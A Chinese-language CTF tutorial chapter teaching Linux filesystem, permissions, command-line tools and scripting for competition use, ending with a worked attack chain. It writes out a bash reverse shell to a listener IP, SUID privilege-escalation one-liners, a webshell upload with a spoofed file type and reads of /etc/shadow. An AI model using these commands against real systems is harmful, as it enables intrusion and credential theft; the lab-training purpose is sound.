第三章:Linux基础与命令行——CTF中的生存技能

在CTF(Capture The Flag)竞赛中,Linux命令行不仅是操作环境,更是解题的核心武器。无论是Web渗透、逆向工程、密码学还是Pwn(二进制漏洞利用),几乎所有题目都运行在Linux系统上。掌握文件系统结构、权限模型、常用命令以及脚本编写能力,决定了你能否高效地分析题目、提取线索、编写利用脚本。本章将系统梳理CTF中Linux基础知识的应用场景,帮助你从“会用命令”进阶到“用命令解题”。

CTF中Linux核心技能链路 文件系统结构 /etc /var /tmp /proc 权限模型 rwx / SUID / ACL 常用命令 grep / find / nc / curl 脚本编写 Bash / Python 信息收集 敏感文件 / 配置泄露 日志分析 / 隐藏线索 权限提升 SUID 提权 / 可写文件 sudo 配置 / 环境变量 网络交互 nc 反弹shell / 端口扫描 curl 请求伪造 / 文件传输 自动化 爆破 / 批量处理 编码转换 CTF解题核心能力 快速定位线索 → 理解系统行为 → 构造有效攻击 → 编写自动化脚本 Flag 获取

3.1 文件系统结构:CTF中的“藏宝图”

核心原理

Linux文件系统采用树状层级结构,所有路径从根目录 / 开始。CTF出题人经常将关键信息隐藏在特定目录中,理解每个目录的用途能帮助你快速缩小搜索范围。例如,/etc 存放系统配置文件,/var/log 存放日志,/tmp 是临时文件目录(通常权限宽松),/proc 是虚拟文件系统,反映内核和进程的实时状态。

目录典型内容CTF应用场景
/etcpasswd、shadow、nginx.conf用户枚举、配置泄露、密码哈希提取
/varwww/html、log、backupWeb源码、访问日志、备份文件
/tmp临时文件、可执行文件上传恶意脚本、存放工具
/proc进程信息、环境变量读取进程内存、获取环境变量中的flag
/home用户目录用户专属文件、.bash_history

判断方法与操作流程

当拿到一个CTF靶机或本地镜像时,建议按以下顺序进行信息收集:

  1. 使用 ls -la 查看当前目录所有文件(包括隐藏文件)。
  2. 检查 /etc/passwd 和 /etc/shadow 获取用户列表和密码哈希。
  3. 查看 /var/www/html 下的Web源码,寻找注释中的flag或备份文件。
  4. 使用 find / -name "*flag*" 2>/dev/null 全局搜索文件名包含“flag”的文件。
实战案例:在某次Web题中,题目提示“管理员留下了备份”。通过 find / -name "*.bak" 2>/dev/null 在 /var/backup/ 下发现 config.php.bak,其中包含数据库连接密码,进一步利用该密码登录phpMyAdmin,在数据库中找到了flag。
注意:在真实CTF中,/proc/self/environ 可能包含环境变量中的flag,但读取时需要权限。此外,/tmp 目录虽然可写,但重启后内容会清空,不适合存放持久化工具。

3.2 权限管理:从“普通用户”到“root”的跨越

核心原理

Linux权限模型基于UGO(User、Group、Other)和rwx(读、写、执行)三位权限位。CTF中权限相关考点主要集中在:SUID提权、sudo配置错误、可写文件覆盖。SUID权限位(rws)允许普通用户以文件所有者的身份执行该文件,如果所有者是root,则可能实现提权。

判断方法与操作流程

权限提升的经典检查命令:

# 查找所有SUID文件
find / -perm -4000 -type f 2>/dev/null

# 查看当前用户sudo权限
sudo -l

# 检查可写但属于root的文件
find / -user root -perm -002 -type f 2>/dev/null

当发现 /usr/bin/python3 或 /usr/bin/vim 等具有SUID权限时,可以利用其执行命令:

# 利用SUID python3 获取root shell
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
经验提醒:在Pwn题中,程序可能以root权限运行,但通过setuid(0)降权。此时需要利用缓冲区溢出重新提升权限。理解权限模型有助于判断攻击路径。

3.3 核心命令:grep、find、nc、curl的CTF实战

3.3.1 grep:文本搜索的瑞士军刀

grep在CTF中常用于日志分析、源码审计和flag提取。常用参数:-r 递归搜索、-E 扩展正则、-o 只输出匹配部分。

# 在Web日志中搜索可疑的SQL注入尝试
grep -E "union|select|sleep" /var/log/nginx/access.log

# 从二进制文件中提取flag字符串
strings challenge.bin | grep -oE "flag\{[^}]+\}"

3.3.2 find:文件定位专家

find不仅按文件名搜索,还能按时间、大小、权限过滤。在Misc(杂项)题中,经常需要寻找特定大小的文件或最近修改的文件。

# 查找最近5分钟内修改的文件
find / -mmin -5 -type f 2>/dev/null

# 查找大小为0的空文件(可能隐藏线索)
find / -size 0 -type f 2>/dev/null

3.3.3 nc:网络瑞士军刀

nc(Netcat)在CTF中用于端口扫描、反弹shell、文件传输。反弹shell是获取交互式shell的常用手段:

# 攻击机监听
nc -lvnp 4444

# 靶机执行反弹shell
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

3.3.4 curl:HTTP请求的万能工具

curl支持各种协议和请求方法,在Web题中用于构造请求、上传文件、测试API。

# 发送POST请求并携带JSON数据
curl -X POST http://target.com/api/login -H "Content-Type: application/json" -d '{"username":"admin","password":"123"}'

# 上传文件
curl -F "file=@shell.php" http://target.com/upload.php
命令核心用途CTF典型场景
grep文本模式匹配日志分析、源码审计、flag提取
find文件查找定位隐藏文件、备份文件、SUID文件
nc网络连接反弹shell、端口探测、数据转发
curlHTTP客户端API测试、文件上传、请求伪造

3.4 脚本编写:Bash与Python的自动化武器

核心原理

脚本编写将重复性工作自动化,在CTF中用于批量爆破、编码转换、协议交互。Bash适合快速处理文本和调用系统命令,Python则更适合复杂逻辑和网络编程。

Bash脚本实战:批量检测端口

#!/bin/bash
# 简单的端口扫描器
for port in {1..1000}; do
    (echo >/dev/tcp/192.168.1.1/$port) &>/dev/null && echo "Port $port is open"
done

Python脚本实战:自动化提交flag

import requests
import re

url = "http://target.com/flag"
response = requests.get(url)
flag = re.search(r'flag\{[^}]+\}', response.text)
if flag:
    print(f"Found flag: {flag.group()}")
    # 提交flag到平台
    requests.post("http://ctf-platform.com/submit", data={"flag": flag.group()})
案例拆解:在一次Reverse(逆向)题中,程序要求输入5个整数,每个整数经过复杂运算后与内存中的值比较。手动计算耗时且易错,编写Python脚本遍历所有可能的输入组合,通过Z3约束求解器自动求解,最终在10秒内得到正确答案。
常见误区:初学者容易在脚本中硬编码路径或IP,导致换环境后脚本失效。建议使用 sys.argv 或 input() 动态获取参数,提高脚本复用性。

3.5 综合案例:从信息收集到权限提升的完整链路

场景:某CTF靶机开放了SSH和Web服务,目标是获取root权限并读取/root/flag.txt。

步骤1:信息收集——使用nmap扫描发现22端口和80端口开放。访问Web站点,发现存在文件上传功能,但仅允许上传图片。

步骤2:绕过上传限制——使用curl构造请求,将Content-Type修改为image/jpeg,上传包含PHP代码的文件:

curl -F "file=@shell.php;type=image/jpeg" http://target.com/upload.php

步骤3:获取Webshell——访问上传的shell.php,使用nc反弹shell获得www-data权限。

步骤4:权限提升——在靶机上执行 find / -perm -4000 -type f 2>/dev/null,发现 /usr/bin/find 具有SUID权限。利用find执行命令:

/usr/bin/find / -exec /bin/sh -p \;

步骤5:读取flag——获得root shell后,执行 cat /root/flag.txt 获取flag。

复盘:本题综合运用了curl构造请求、nc反弹shell、find提权三个核心技能。关键点在于:①识别上传漏洞并绕过类型检查;②利用SUID程序实现权限提升;③保持清晰的攻击路径规划。

3.6 总结与复盘

Linux基础是CTF的基石,本章内容覆盖了文件系统、权限、命令和脚本四大模块。建议读者在本地搭建Linux虚拟机,反复练习以下操作:

  • 使用 find 和 grep 在系统中搜索特定内容,培养“信息嗅觉”。
  • 尝试配置SUID程序并利用其提权,理解权限边界。
  • 编写Python脚本自动化完成一个简单的Web请求流程。
  • 使用nc在虚拟机之间建立连接,模拟反弹shell。
核心心法:CTF中的Linux操作不是死记命令,而是理解系统机制。当你看到 /etc/shadow 时,应该想到哈希破解;看到 nc -lvnp 时,应该想到反弹shell;看到 curl -F 时,应该想到文件上传。将命令与攻击场景关联,才能真正提升解题效率。